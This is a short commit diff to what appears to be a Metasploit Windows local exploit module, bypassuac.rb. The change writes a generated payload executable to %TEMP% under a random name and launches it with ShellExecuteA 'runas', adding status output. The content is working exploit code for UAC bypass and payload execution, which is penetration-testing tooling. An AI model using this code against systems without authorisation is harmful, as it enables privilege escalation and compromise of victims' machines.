add some output and fixing

modules/exploits/windows/local/bypassuac.rb

@@ -44,8 +44,13 @@ class Metasploit3 < Msf::Exploit::Local
     payload = generate_payload_exe
     payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
     tmpdir = session.fs.file.expand_path("%TEMP%")
-    session.fs.file.upload_file("#{tmpdir}\\#{payload_filename}", payload)
-    session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
+    tempexe = tmpdir + "\\" + payload_filename
+    fd = session.fs.file.new(tempexe, "wb")
+    fd.write(payload)
+    fd.close
+    print_status("Uploading payload: #{tmpdir}\\#{payload_filename}")
+    session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5)
+    print_status("Payload executed")
   end
 
   def exploit